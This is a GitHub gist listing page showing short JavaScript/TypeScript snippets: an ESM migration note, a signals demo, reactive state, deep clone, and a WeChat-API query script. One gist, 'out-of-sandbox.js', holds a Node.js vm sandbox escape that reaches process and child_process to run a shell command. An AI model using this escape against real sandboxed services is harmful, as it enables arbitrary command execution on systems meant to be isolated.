Skip to content

Instantly share code, notes, and snippets.

View vikiboss's full-sized avatar

Viki vikiboss

View GitHub Profile
vikiboss / index.js
Last active December 6, 2020 11:10
a demo code for npx test that run code from url
View index.js
#!/usr/bin/env node
console.log("hello noder")
vikiboss /
Created September 19, 2022 01:06 — forked from sindresorhus/
Pure ESM package

Pure ESM package

The package linked to from here is now pure ESM. It cannot be require()'d from CommonJS.

This means you have the following choices:

  1. Use ESM yourself. (preferred)
    Use import foo from 'foo' instead of const foo = require('foo') to import the package. You also need to put "type": "module" in your package.json and more. Follow the below guide.
  2. If the package is used in an async context, you could use await import(…) from CommonJS instead of require(…).
  3. Stay on the existing version of the package until you can move to ESM.
vikiboss / offer.mjs
Created October 9, 2022 05:48
Offer Show Scripts
View offer.mjs
// usage: node --no-warnings offer.mjs 米哈游 前端
const args = process.argv.slice(2);
const js_code = ''; // get by wx.login method in WeChat
const api = '';
const silentLogin = async (js_code) => {
const res = await fetch(`${api}/silent_login`, {
method: 'POST',
vikiboss / out-of-sandbox.js
Last active February 14, 2023 04:14
View out-of-sandbox.js
this.constructor.constructor('return process')().mainModule.constructor._load('child_process').execSync('ls');
var exec = this.constructor.constructor;
var process = exec('return process')();
var require = process.mainModule.constructor._load;
var execSysCmd = require('child_process').execSync;
// process.exit();
vikiboss / Get Genshin Impact wish history
Last active May 2, 2023 02:39 — forked from MadeBaruna/
Get Genshin Impact wish history link
View Get Genshin Impact wish history
vikiboss / mini-signal.ts
Created March 23, 2023 02:46
mini signal implement
View mini-signal.ts
let currentListener: Function | undefined = undefined
function createSignal<T>(initialValue: T) {
let value = initialValue
const subscribers = new Set<Function>()
const read = () => {
if (currentListener !== undefined) {
vikiboss / reactive.ts
Created April 4, 2023 11:24
响应式状态 Demo
View reactive.ts
import rfdc from 'rfdc'
type Listener<T> = (snapshot: T) => void
interface State<T extends object> {
proxy: T
target: T
listeners: Set<Listener<T>>
vikiboss / deepClone.ts
Created April 4, 2023 12:10
Deep Clone for TS
View deepClone.ts
function isObject(obj: unknown): obj is Record<string, unknown> {
return typeof obj === 'object' && obj !== null
export function deepClone<T>(obj: T, cache: Map<unknown, unknown> = new Map()): T {
if (obj === null || typeof obj !== 'object') {
return obj
if (cache.has(obj)) {